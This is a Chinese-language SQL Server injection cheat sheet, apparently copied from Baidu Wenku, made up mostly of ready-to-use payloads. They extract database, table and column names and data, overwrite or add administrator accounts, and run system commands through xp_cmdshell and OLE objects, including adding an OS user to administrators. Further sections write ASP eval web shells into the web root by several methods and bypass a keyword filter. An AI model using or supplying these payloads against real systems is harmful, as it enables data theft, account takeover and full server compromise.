========================================走进入后台的步骤==========================
1.and user>0 得到用户名
---------------------------爆任意数据库信息(作用性较小,直接跳到第五步)------------
and (select top 1 name from master.dbo.sysdatabases order by dbid)>0;获得第一个数据库名
and (select top 1 name from master.dbo.sysdatabases where name NOT IN(select top 1 name from master.dbo.sysdatabases order by dbid) order by dbid)>0;获得第二个数据库名
---------------------------爆当前表列的信息(作用性较小,直接跳到第五步)------------
2.having 1=1--得到用户信息 提示 列问题 则包含表名和表列名
3.group by 用户信息 having 1=1-- 用户信息即为上面得到的表名.表列名
4.group by 用户信息1,用户信息2 having 1=1-- 用户信息即为上面得到的表名.表列名
---------------------------爆任意表列的信息-------------------------------
5.and (select top 1 name from (select top N id,name from sysobjects where xtype=char(85)) T order by id desc)>1爆的是表名
exp:and (select top 1 name from (select top 2 id,name from sysobjects where xtype=char(85)) T order by id desc)>1
6.and (select top 1 col_name(object_id('表名'),N) from sysobjects)>1爆的是列名
exp:and (select top 1 col_name(object_id('D99_REG'),2) from sysobjects)>1爆D99_REG中的第二列名
---------------------------爆数据库中的信息-------------------------------
8.and (select top 1 列名 from 表名 where id=N)>1 结合上面爆出的表和列的名字得到数据
---------------------------MD5破解不出来的情况下--------------------------
9.;update 表名 set 列名='内容' where 条件 修改管理员密码 或者 1=(SELECT IS_SRVROLEMEMBER('sysadmin'))
;insert into admin values (zyh,123)-- 或者添加管理员


xp_cmdshell 就是一个shell
==========================================走存储过程的步骤===========================
第一种:最容易的sa权限
1.and user>0
2.and db_name()>0用户名 and 1=(select IS_SRVROLEMEMBER('db_owner'))
3.and SELECT count(*) FROM master.dbo.sysobjects WHERE xtype='X' AND name='xp_cmdshell'
--------------------如果存储过程不存在则走第四步,否则走第五步---------------------------
4.; exec sp_addextendedproc xp_cmdshell,'xplog70.dll'
-----------------------------------------------------------------------------------------
5.;exec master..xp_cmdshell 'dir c:\' 单引号里面为命令 'net user 123 123/add' 'net localgroup administrators 123/add'


=========================================走OLE的对象的步骤===========================
前面几个步骤是一样的 一样得在sa权限下 才能走这条路
;DECLARE @S INT
EXEC SP_OACREAT 'wscript.shell',@s
exec master..SP_OAMETHOD @s,'run',null,'cmd.exe/c dir c:\'






用户必须授权于Master这个库.才可调用储存过程.

==========================================获取WEB路径================================
第一种:需求 sa权限 存储过程sp_oamethod或者xp_cmdshell 搜索文件
①DECLARE @shell INT
EXEC master..SP_OAMETHOD 'wscript.shell',@shell out
EXEC master..SP_OAMETHOD @shell,'run',null,
'cmd /c dir /s d:/index.asp > c:/123.txt'
②exec master..xp_cmdshell 'dir /s d:/index.asp'

第二种:需求 sa权限 存储过程XP_CMDSHELL 和 SP_OAMETHOD 通过IIS提供的借口获得
cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/1/root 显示第一个网站的一些配置信息,里面包含网站的根目录
exp: 第二个网站信息cmd /c cscript.exe C:\Inetpub\AdminScripts\adsutil.vbs ENUM W3SVC/2/root

第三种:需求 public权限 存储过程 xp_regread IIS默认的路径存放在注册表 读出
exec master.dbo.xp_regread
HKEY_LOCAL_MACHINE,
'SYSTEM\CurrentControlSet\sERVICES\W3SVC\Parameters\Virtual Roots\'
'/'


第四种:需求 public权限 存储过程xp_dirtree
这个扩展存储过程有三个参数,第一个参数是路径,第二个参数是目录深度,第三个参数表示是否列出文件。
如果第三个参数为0,那么只列出目录
目前比较常见的方法是通过xp_dirtree把某个盘或某个目录下的子目录和文件列出来,插入到一个表中,
并逐条读取表中的数据。通过切换不同的目录,达到浏览硬盘、搜索站点根目录的目的。
首先建立一个临时表,把E盘下面的1级子目录和文件插入到表中:
;CREATE TABLE tmp([ID] int IDENTITY (1,1) NOT NULL,
[name] [nvarchar] (300) NOT NULL,[depth] [int] NOT NULL,[isfile] [nvarchar] (50) NULL)
;insert into tmp exec master..xp_dirtree 'e:/',1,1
获得tmp这个临时表中的第一条数据:
and (select name from tmp where id=1)>1

===========================================写入web shell文件==========================


第一种:要求:sa权限 利用XP_CMDSHELL 知道web路径 通过上面可以得到
;exec master..xp_cmdshell 'echo ^<script runat=server language=javascript^>eval(request.form("cmd"))^</script^> >e:\web\index.asp'
像“<>”这些特殊符号前面必须加上转义字符“^”。

第二种:要求:sa权限 利用SQL Server的OLE对象接口,直接调用FSO写入文件。
;declare @o int, @f int
exec sp_oacreate 'scripting.filesystemobject',@o out
exec sp_oamethod @o, 'createtextfile', @f out, 'e:\web\index.asp',1
exec sp_oamethod @f 'writeline',NULL,
'<script runat=server language=javascript>eval(request.form("cmd"))</script>';

第三种:要求sa 利用存储过程sp_makewebtask 默认是没有权限访问存储过程的 可以提交下面语句
;exec master..sp_makewebtask @outputfile='e:\web\shell.asp',@charset=gb2312,@query='select "<script runat=server language=javascript>eval(request.form("cmd"))</script>"'

第四种:要求public 利用增量备份
create table tmp(str image)
backup database hack to disk='e:\web\tmp.bak' with init
insert into tmp(str) values('<script language=javascript>eval(request.form('cmd')<scritp>)')
backup database hack to disk='e:\web\shell.asp' with DIFFERENTIAL


第五种:要求DB_OWNER 利用log备份
;alter database databasename set RECOVER FULL
;create table cmd(a image)--
;backup log databasename do disk='c:\cmd' with init
;insert into cmd(a) values('<%%25excute(request.form("cmd"))%%25>')--
;backup log databasename to disk='x:\xxx\xxxx\shell.asp'--
;drop table cmd--
闭合问题可以尝试 下面的语句
<%%25execute(request.form("cmd"))%%25>
<%execute(request.form("cmd"))%>
%><%execute request.form("cmd")%><%
<script language=VBScript runat=server>executer request.form("cmd")</script>
<%25execute(request.form("l"))%25>





如果是sa权限 先考虑用看能不能用xp_cmdshell存储过程



and 1=(select IS_SRVROLEMEMBER('db_owner'))用户类型
and 1=convert(int, @@version)得到版本号
and 1=convert(int, db_name())得到数据库名
and 1=convert(int, user_name())得到当前数据库用户
; declare @d int;--验证是否满足多句查询


主要就两点,sysobjects表与syscolumns表都无select权限时,得到表名与列名。以前BLOG里写过, 要不是某黑客发来一我等小菜从没接触过的CFM程序的一个注入点让解决获取表名的难题,我都要忘了,顺便再重记一次。

sysobjects表没有权限。如何暴表?所有的表名都只存在了sysobjects表里,所以我们无法从别的地方得到表名。但是,大家有没注意过sql server提供的object_name函数呢?它与object_id函数是相对应的,object_id会返回指定对象在数据库中的id值。而 object_name会返回指定ID所对应的数据库对象名,对于表来说自然就是表名了。

好了,现在只要得到所有的用户表的ID就可以得到表名了, 表的ID在很多地方都会存储,比如syscolumns表,
我们只要从syscolumns表里面取得表的ID,再利用object_name就可以得到表名了。

可以利用下面的语句得到表名,前提条件是syscolumns表有select 权限:
显错:

select 1 where 1=(select top 1 * from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns))


union:

select '1','2','3','4' union select top 1 1,3,[name],4 from (select distinct(object_name(id)) as 'name' from syscolumns) as a where a.[name] not in(select distinct top 0 object_name(id) from syscolumns)


上面的语句会将系统表也查出来。通过不停地变top 0就可以得到所有的表名了。当syscolumns表无权限的时候,可以借助其它的系统表,但是这样很有可能不能得到所有表的名字,看运气了。。只要其它系统表里面出现了表的ID,就可以通过object_name函数来得到表名,下面从sysprotects这个系统表中获取ID来得到表名:


select object_name(id) from sysprotects

再谈syscolumns表无select权限时获取列名的方法,利用col_name函数,先利用上面的方法得到表的id,再利用:

select col_name(tableid,colindex)

就可以了。

具体情况具体分析了,朋友发来的这个CFM注点有个毛病,只要参数里面出现sys,就会自动跳回主页,不知道是什么防火墙还是程序内置的安全防护功能,试了会最终绕过去了,将sys分拆成sy%00s就可以。至于%00为什么没有被截断,同时为什么没有被sql server当成是分隔符,,这我就不知道了,不是本菜鸟能研究出来的。

 

感谢:jude_lau

源自百度文库:http://wenku.baidu.com/view/c73aeef7ba0d4a7302763ad0.html?from=related&hasrec=1